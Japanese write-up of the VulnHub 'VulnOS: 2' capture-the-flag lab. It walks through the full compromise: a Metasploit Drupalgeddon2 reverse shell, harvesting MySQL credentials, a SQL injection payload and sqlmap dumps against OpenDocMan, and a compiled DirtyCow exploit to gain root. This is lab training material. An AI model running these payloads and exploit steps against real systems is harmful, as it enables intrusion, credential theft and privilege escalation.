概要
VulnHub「VulnOS: 2」のWriteupです。
User Flag
ターゲットマシンのIPアドレスを特定します。
$nmap -PE -PP -PM -sP -n 192.168.178.0/24
Warning: You are not root -- using TCP pingscan rather than ICMP
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-08-23 08:31 UTC
Nmap scan report for 192.168.178.20
Host is up (0.000095s latency).
Nmap scan report for 192.168.178.28
Host is up (0.00056s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 1.86 seconds
192.168.178.20
は、攻撃用マシンのIPアドレスです。
192.168.178.28
が、ターゲットマシンのIPアドレスだと分かりました。
ポートスキャンを実行します。
$nmap -Pn -sCV -T4 -p- 192.168.178.28 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: VulnOSv2
|_http-server-header: Apache/2.4.7 (Ubuntu)
6667/tcp open irc ngircd
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 6.6.1p1 |
80 | http | Apache/2.4.7 |
6667 | irc | ngircd |
80
番ポートにアクセスすると、リンクを用意されたページが表示されました。
website
をクリックすると、/jabc
に遷移しました。
/jabc
のソースコードを確認すると、Drupal 7
を使用していることが分かりました。
Documentation
タブをクリックすると、黒背景の画面に遷移しました。
黒背景に黒文字で分が隠されています。
テキストから、/jabcd0cs/
のパスとguest/guest
という認証情報を入手できました。
/jabcd0cs/
にアクセスすると、ログイン画面が表示されました。
OpenDocMan v1.2.7
を使用しているようです。
Drupal 7の脆弱性を悪用して侵入する
Drupal 7
を使用していると分かっているので、droopescan
で列挙をします。
$droopescan scan -u http://192.168.178.28/jabc/
[+] Site identified as drupal.
[+] Plugins found:
ctools http://192.168.178.28/jabc/sites/all/modules/ctools/
http://192.168.178.28/jabc/sites/all/modules/ctools/CHANGELOG.txt
http://192.168.178.28/jabc/sites/all/modules/ctools/LICENSE.txt
http://192.168.178.28/jabc/sites/all/modules/ctools/API.txt
token http://192.168.178.28/jabc/sites/all/modules/token/
http://192.168.178.28/jabc/sites/all/modules/token/README.txt
http://192.168.178.28/jabc/sites/all/modules/token/LICENSE.txt
views http://192.168.178.28/jabc/sites/all/modules/views/
http://192.168.178.28/jabc/sites/all/modules/views/README.txt
http://192.168.178.28/jabc/sites/all/modules/views/LICENSE.txt
libraries http://192.168.178.28/jabc/sites/all/modules/libraries/
http://192.168.178.28/jabc/sites/all/modules/libraries/CHANGELOG.txt
http://192.168.178.28/jabc/sites/all/modules/libraries/README.txt
http://192.168.178.28/jabc/sites/all/modules/libraries/LICENSE.txt
entity http://192.168.178.28/jabc/sites/all/modules/entity/
http://192.168.178.28/jabc/sites/all/modules/entity/README.txt
http://192.168.178.28/jabc/sites/all/modules/entity/LICENSE.txt
ckeditor http://192.168.178.28/jabc/sites/all/modules/ckeditor/
http://192.168.178.28/jabc/sites/all/modules/ckeditor/CHANGELOG.txt
http://192.168.178.28/jabc/sites/all/modules/ckeditor/README.txt
http://192.168.178.28/jabc/sites/all/modules/ckeditor/LICENSE.txt
rules http://192.168.178.28/jabc/sites/all/modules/rules/
http://192.168.178.28/jabc/sites/all/modules/rules/README.txt
http://192.168.178.28/jabc/sites/all/modules/rules/LICENSE.txt
addressfield http://192.168.178.28/jabc/sites/all/modules/addressfield/
http://192.168.178.28/jabc/sites/all/modules/addressfield/LICENSE.txt
plupload http://192.168.178.28/jabc/sites/all/modules/plupload/
http://192.168.178.28/jabc/sites/all/modules/plupload/CHANGELOG.txt
http://192.168.178.28/jabc/sites/all/modules/plupload/README.txt
http://192.168.178.28/jabc/sites/all/modules/plupload/LICENSE.txt
commerce http://192.168.178.28/jabc/sites/all/modules/commerce/
http://192.168.178.28/jabc/sites/all/modules/commerce/README.txt
http://192.168.178.28/jabc/sites/all/modules/commerce/LICENSE.txt
profile http://192.168.178.28/jabc/modules/profile/
php http://192.168.178.28/jabc/modules/php/
image http://192.168.178.28/jabc/modules/image/
[+] Themes found:
seven http://192.168.178.28/jabc/themes/seven/
garland http://192.168.178.28/jabc/themes/garland/
[+] Possible version(s):
7.22
7.23
7.24
7.25
7.26
[+] No interesting urls found.
Drupal 7.2x
を使用している可能性が高いです。
Metasploitのexploit/unix/webapp/drupal_drupalgeddon2
モジュールを使用します。
[msf](Jobs:0 Agents:0) >> search drupal 7 type:exploit
exploit/unix/webapp/drupal_drupalgeddon2
オプションを設定します。
[msf](Jobs:0 Agents:1) exploit(unix/webapp/drupal_drupalgeddon2) >> show options
Module options (exploit/unix/webapp/drupal_drupalgeddon2):
Name Current Setting Required Description
---- --------------- -------- -----------
DUMP_OUTPUT false no Dump payload command output
PHP_FUNC passthru yes PHP function to execute
Proxies no A proxy chain of format type:host:port[,type:host:port][...].
Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS 192.168.178.28 yes The target host(s), see https://docs.metasploit.com/docs/using
-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /jabc yes Path to Drupal install
VHOST no HTTP server virtual host
Payload options (php/unix/cmd/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.178.20 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic (PHP In-Memory)
モジュールを実行すると、シェルを取得できました。
[msf](Jobs:0 Agents:1) exploit(unix/webapp/drupal_drupalgeddon2) >> exploit
[*] Started reverse TCP double handler on 192.168.178.20:4433
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo 32tBbW763X453E6S;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "32tBbW763X453E6S\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 2 opened (192.168.178.20:4433 -> 192.168.178.28:43799) at 2025-08-23 10:31:58 +0000
whoami
www-data
TTYの設定をします。
$ python -c "import pty;pty.spawn('/bin/bash')"
/var/www/html/jabcd0cs/config.php
から、MySQLの認証情報を入手できました。
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for [OpenDocMan */
define('DB_NAME', 'jabcd0cs');
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASS', 'toor');
/** MySQL hostname */
/* The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a
* local socket e.g. ":/path/to/socket" for the localhost. */
define('DB_HOST', 'localhost');
Username: root
、Password: toor
でMySQLに接続できました。
$ mysql -u root -p
mysql -u root -p
Enter password: toor
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| drupal7 |
| jabcd0cs |
| mysql |
| performance_schema |
| phpmyadmin |
+--------------------+
6 rows in set (0.02 sec)
jabcd0cs
DBのodm_user
テーブルから、登録されているアカウント情報を入手できました。
mysql> select * from odm_user;
select * from odm_user;
+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
| id | username | password | department | phone | Email | last_name | first_name | pw_reset_code |
+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
| 1 | webmin | b78aae356709f8c31118ea613980954b | 2 | 5555551212 | webmin@example.com | min | web | |
| 2 | guest | 084e0343a0486ff05530df6c705c8bb4 | 2 | 555 5555555 | guest@example.com | guest | guest | NULL |
+----+----------+----------------------------------+------------+-------------+--------------------+-----------+------------+---------------+
2 rows in set (0.00 sec)
webmin
のパスワードハッシュ値がMD5なので、平文の特定に成功し、webmin1980
だと分かりました。
webmin
アカウントがサーバーにあるので、webmin
でSSH接続が出来そうです。
$ ls -la /home
ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Apr 16 2016 .
drwxr-xr-x 21 root root 4096 Apr 3 2016 ..
drwxr-x--- 3 vulnosadmin vulnosadmin 4096 May 4 2016 vulnosadmin
drwxr-x--- 3 webmin webmin 4096 May 3 2016 webmin
Username: webmin
、Password: webmin1980
でSSH接続に成功しました。
$ssh webmin@192.168.178.28
$ whoami
webmin
OpenDocMan v1.2.7の脆弱性を悪用して侵入する
ログインページから、OpenDocMan v1.2.7
を使用していると分かりました。
このバージョンの脆弱性情報を探すと、SQLインジェクションの脆弱性情報を見つけました。
CVE-2014-1945
として登録されています。
exploit-dbの情報を参考にすると、/ajax_udf.php
でSQLインジェクションが出来るようです。
http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,version%28%29,3,4,5,6,7,8,9
テストペイロードを試すと、攻撃に成功しSQLのバージョン情報が表示されました。
sqlmapを使用し、SQLインジェクションを深堀します。
DBの一覧を取得できました。
$sqlmap -u "http://192.168.178.28/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --batch --dbms=mysql
[10:56:48] [INFO] fetching database names
available databases [6]:
[*] drupal7
[*] information_schema
[*] jabcd0cs
[*] mysql
[*] performance_schema
[*] phpmyadmin
続いて、jabcd0cs
DBのテーブル一覧を取得できました。
$sqlmap -u "http://192.168.178.28/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --batch --dbms=mysql -D jabcd0cs --tables
[10:58:00] [INFO] fetching tables for database: 'jabcd0cs'
[10:58:00] [WARNING] reflective value(s) found and filtering out
Database: jabcd0cs
[15 tables]
+-------------------+
| odm_access_log |
| odm_admin |
| odm_category |
| odm_data |
| odm_department |
| odm_dept_perms |
| odm_dept_reviewer |
| odm_filetypes |
| odm_log |
| odm_odmsys |
| odm_rights |
| odm_settings |
| odm_udf |
| odm_user |
| odm_user_perms |
+-------------------+
odm_user
テーブルから、登録されているアカウント情報を入手できました。
この後は同様にwebmin
アカウントのパスワードハッシュを解析し、SSH接続できます。
$sqlmap -u "http://192.168.178.28/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --batch --dbms=mysql -D jabcd0cs -T odm_user --dump
[10:58:55] [INFO] cracked password 'guest' for user 'guest'
Database: jabcd0cs
Table: odm_user
[2 entries]
+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+
| id | Email | phone | password | username | last_name | department | first_name | pw_reset_code |
+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+
| 1 | webmin@example.com | 5555551212 | b78aae356709f8c31118ea613980954b | webmin | min | 2 | web | <blank> |
| 2 | guest@example.com | 555 5555555 | 084e0343a0486ff05530df6c705c8bb4 (guest) | guest | guest | 2 | guest | NULL |
+----+--------------------+-------------+------------------------------------------+----------+-----------+------------+------------+---------------+
Root Flag
linpeas
で列挙すると、OSのバージョンが3.13.0-24
であり、dirtycow
の脆弱性があると分かりました。
$ ./linpeas.sh
═══════════════════════════════╣ Basic information ╠═══════════════════════════════
╚═══════════════════╝
OS: Linux version 3.13.0-24-generic (buildd@komainu) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1) ) #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
PoCはexploit-dbのものを使用します。
PoCをコンパイルします。
$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow exploit.cpp -lutil
$ ls dcow
dcow
実行ファイルの実行権限を設定し、実行するとrootアカウントのパスワードを書き換えることに成功しました。
$ chmod +x ./dcow
$ ./dcow
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
Password: dirtyCowFun
でrootアカウントに昇格出来ました。
$ su root
Password:
root@VulnOSv2:/tmp# whoami
root
/root/flag.txt
からルートフラグを入手できました。
# cat /root/flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
What do you think of A.I.?